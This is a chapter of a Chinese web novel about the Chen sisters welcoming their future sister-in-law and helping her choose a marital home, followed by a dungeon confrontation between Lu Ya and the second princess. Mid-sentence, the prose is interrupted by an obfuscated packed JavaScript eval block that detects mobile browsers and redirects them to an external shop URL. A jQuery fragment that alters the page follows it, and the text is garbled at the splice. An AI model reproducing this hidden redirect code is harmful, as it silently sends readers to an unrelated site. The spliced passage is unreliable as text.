为表诚意和关切,陈茵跟六妹陈芒琢磨了下,决定在帖子里放宽约定的时间。若李大姑娘舟车劳顿想休息,那就晚两天来,若想早见面早安心,那也可以今天来。
办完二哥的定亲才轮到她相看,所以未来二嫂是当前重中之重,她们姐妹随时恭候。
晨间刚下帖子,午后便迎来登门,陈茵在小花厅里接到本人,惊得不轻,连忙搀扶。
“李大姑娘,是否并未休息好呀,我还有半支拓月香,若不嫌弃就拿去试试吧。”
拓月香难得,是她母亲专为老夫人搜寻的。她前段时间又挽救报社,又善后慈济院,又遭遇刺杀,还焦虑婚事,母亲实在看她的黑眼圈不顺眼,分给她一支。
名贵自有名贵的妙处,她用了小半支安神助眠,精神满满将难题解决,压力一消便用不上了。
李大姑娘刚开始还心中惴惴,听到陈茵将拓月香让出来,清瘦的面庞展露一个温婉的笑。
“你是茵妹妹吧,果真如你二哥说的一样。我叫李娴,娴静的娴。总是姑娘来,姑娘去,怪生分的,若不嫌弃,就叫我一声姐姐。”
陈茵扶着她坐下,俏皮一句:“娴姐姐,二哥是不是偷偷说我坏话呀?”
李娴松了松紧张的手指,温声接道:“他说啊,你大方嘴甜,保我一见便喜爱。”
李娴不忘带上一旁有些拘谨的陈芒:“芒妹妹,他也说你呢,灵巧纯澈,保我见了就想捧在手心。”
陈芒心头一颤,目光期盼:“娴姐姐,二哥还说过什么?”
二哥跟她一母同胞,是她最亲近的人。可二哥离家游学六年,每次年节短暂团聚,说过的话还不如薄薄信纸上的多。
然而这可难倒李娴了,她跟二郎才谈过两回话,临分开前,二郎把陈家众人的性格略述一遍,提点她相处之法,再多的却没有了。
陈茵转念一猜,靠榜下捉婿结缘的两人,才能相处多久。二哥越满意娴姐姐,越不该在宝贵的相处时间里聊妹妹,于是递台阶解围。
“娴姐姐,我们许久不见二哥了,想多多知道他的事,你跟他如何结识的呀?”
陈芒猛猛点头,她就是想多多知道二哥的事情。
李娴柔柔一笑,娓娓道来。
她的祖母年迈,几次为她说亲都被继母搅黄,无能为力,便送她回老家榜下捉婿,赌一赌自己识人的眼光。
九九重阳,秋高气爽,她的身体难得轻松,亲自参加郊游盛会,观赏才子斗诗,一眼瞧中成熟稳重,妙解挑衅的陈二郎。
她的家庭和身体,就该找这般胸有城府且不乏手段之人。正常情况下,她瞧得中人家,却配不上人家,可陈二郎不一样。
她羞涩垂首:“二郎说,重阳那日,他便瞧见了我,想着榜上有名后,便登门求娶,未料我会给他递花笺。”
陈茵听得如痴如醉:“这便是缘分呐!”
故事里一见钟情的戏码,竟在她的亲人身上发生,奈何她无缘亲眼得见,实在扼腕!
她很喜欢娴姐姐的性格,直爽磊落,不拘小节。表面上文文静静柔柔弱弱,实际是身体限制,气短无力。
看一眼热气腾腾的茉莉香片,她转身交代女使换成红枣茶,多少能给娴姐姐补一点气血。
说了好长时间话,娴姐姐应当疲累,她热情邀到自己的房间小憩。反正回李家也是心烦,正好在这里试试拓月香。
李娴毫不扭捏,睡了一觉又吃了顿饭才走。她选择二郎,为的不就是好好保养身体,好好度过余生吗?
所幸二郎没有骗她,陈家果真家风好,或许她能活久一点。
夜里到了陈主妇跟前,陈茵情不自禁说:“母亲,我们也帮忙寻医问药,给娴姐姐调养身体吧。”
陈芒眼睛一亮,娴姐姐的身体若是调养好,二哥既不用担忧心上人,又有了贤内助。
陈主妇面对她们期待的目光,无奈轻笑:“才相处半日,你们就全被俘获。”
陈茵抿唇一笑:“二哥做下的决定谁又能改呢?注定要成为一家人,那就该照顾着。”
“自然是依着二郎的。”
陈主妇又头疼了,按着太阳穴。
“寻医问药不急一时,婚事定下,可婚房还没着落。翻过年节,李大姑娘就十八,定亲宴拖不得。”
她的嫁妆里有座房子,就在苟府后面,但那是三郎的法定继承物,不能换给二郎。
“这些日子,我看了不少出售的房子,各有缺陷,真是挑得头昏脑涨。”
陈茵思索片刻:“母亲,让娴姐姐自己挑吧。”
陈主妇嗔了一眼:“哪有这样的规矩。”
陈茵不以为然:“母亲,娴姐姐住得舒心,跟二哥和和美美过日子,比规矩重要呀。”
何况这不成文的规矩,今天不就破过一次了。本该是她们作为男方亲属登李家的门,还不是把娴姐姐邀过来了。
陈芒狠狠赞同:“娴姐姐肯定不会觉得我们失了礼数。”
比起直接住进夫家,谁不愿意住自己挑的婚房。
陈主妇虽然同意,所想的却跟她们不一样。京城在售的房子,基本在陈家的能力之中,不怕李娴往最贵的挑,如此还不如让李娴自己挑,以后是喜是恶,都怨不到二郎身上。
“什么?让我来挑?”
李娴不敢置信,被天上掉的馅饼砸得晕乎乎。
之前二郎承诺,婚后会单独住在京城,院子虽小却能清净度日,她就已经很满意。没想到现在,居然还由她亲自挑婚房!
陈茵不拖沓,当即拥着她前往官牙,在小包间里翻开地图。地图上被圈起来的,就是要出售的房子,圈里打叉的就是已出售的房子。
陈茵最先关注内城,以后二哥肯定能做京官,要方便上下职。可惜内城很难有房子出售,唯有的两个,还是因鲛人岛一事被抄家来的。
到现在都没卖出去,缺陷不是一般的大,她一眼排除掉:“这座不行。”
只有三间正房,一间厨房,一间茅房,适合农籍工籍考上来的官员之家,或是安置亲戚客人。有着京中人脉的娴姐姐,却无法在这样的院子里设宴。
“这一座……”陈茵迟疑。
“也不行!”陈芒提醒,“虽然大小合适,可朝向不行,直面司农寺的田。”
每当司农寺实验肥料,实验农药,风吹吹,把味道吹过来,娴姐姐那么弱的身体,如何受得住。
陈茵苦恼:“内城没有选择了,只能看看外城。”
李娴不想住外城,提议说:“在郊外买个庄园如何?”
“郊外?”
陈茵姐妹异口同声。
李娴莞尔一笑:“我母亲的嫁妆里,有座三进院,也在枫山北面,但离司农寺的田,倒不很近。我时常过去小住,风景还不错。”
与其白白空着她的房子,不如买个庄园,想吃什么就种什么,想出城散心也不用跟别人挤。而且,正好有个庄园瞧着挺合适。
陈茵盯着她所指之处,离城门三十余里,远了些,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382590|200206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但很大,有山有湖,还有现成的五进大院。
“那就去实地看看吧,合适便买了。至于内城的房子,就等缘分慢慢找吧。”
既然决定买在郊外,娴姐姐这般的身体辛辛苦苦出城,只为查看一个多不划算,又挑出两个房子整齐的庄园,准备一并查看。
解决掉一桩难题,陈茵睡得毫无压力。但在距她五里之远的圣塔地牢,狭长的甬道传来哒哒的声音,富有节奏。
二公主一手提灯,一手执鞭,鞭子跟随她的脚步敲打在地面。
“父皇让我来问问,你还有话说吗?”
陆涯转身,背对那暌违两日的光明,不想理会。
二公主嗤之以鼻:“你觉得,吵个架就把郑师叔的一半魂力打伤,这种理由能说服谁?”
尽管陆涯心里有病,脑子有病,总为那些不值一提的普通人心软伤怀,被郑师叔以此恶语中伤,还真有可能打起来。
尤其当时正在训练的小破孩做人证,是郑师叔先动的手,所以陆涯盛怒之下很可能反击重了点。
但是!再如何重也不能一击打伤郑师叔的一半魂力吧?
可惜没人敢以身犯险,测试陆涯是否有这个实力,而长老也追查不到郑师叔丢失的那一半魂力所在。
陆涯咬紧牙根,颇为羞耻。
他真是鬼迷了心窍,在郑师叔拒不交代袭杀他的原因,即将被搜魂的时候,脱口撒谎。
展师兄也是够义气,没把他的谎言戳破。如今他们三个咬死不松口,长老和皇帝尽管存疑也别无办法。
守护者太过珍稀,如非必要谁也不想搜魂,搜了魂人就废了。总归他们三个的圣塔令牌都亮着,代表他们没有违背圣塔规则。
陆涯原谅郑师叔袭杀,郑师叔原谅陆涯“打伤一半魂力”,那就不是什么大事。
只是不知道郑师叔用的什么功法,那一半魂力护着陈茵的亲人,是否会被仍不死心的长老找到?
二公主迟迟等不到回应,鞭子敲敲牢门。
“陆涯,娶我吧。以后我是太子,你就是太子夫,我是皇帝,你就是皇夫。”
陆涯怀疑自己的耳朵:“让守护者当皇夫?”
你家的皇位不想要了?
“我知道皇室和圣塔之间的约定,但今时不同往日,银河出了问题,世界屏障需要修复。”
二公主的目光,沿着他舒展而有力的后背,缓缓移到他柔韧而劲瘦的腰,志在必得。
“年轻一代,皇室中魂力最强的是我,守护者中魂力最强的是你。我们两个结合,生下的孩子,是最好的修复材料。”
生孩子当耗材,怎能说得如此轻易?
陆涯的墨瞳像结了冰,魂力闪电般击中她的眼睛。
二公主受痛惊叫:“陆涯!”
琉璃灯摔落,发出清脆的碎裂声,火油淌了一地熊熊燃烧。她不得不后退几步避开,捂着泪水淋漓的眼睛,愤愤怒骂。
“你活该困死在地牢!”
陆涯冷笑:“一天到晚敲敲打打,鞭子跟导盲杖一样,这下正合适。”
二公主气结:“你大胆!”
“等你当上皇帝,才有资格对我说这句话。”
陆涯收起魂力,屏蔽视听,彻底不再理会。他不信,亲手将他养大的皇帝,会舍得把他困死在这里。
再说,穿越者一批批的来,每一个守护者都不能浪费。
他动动手指,摩挲着握在掌心的小面人,傻兔啊傻兔,你欠我欠大了。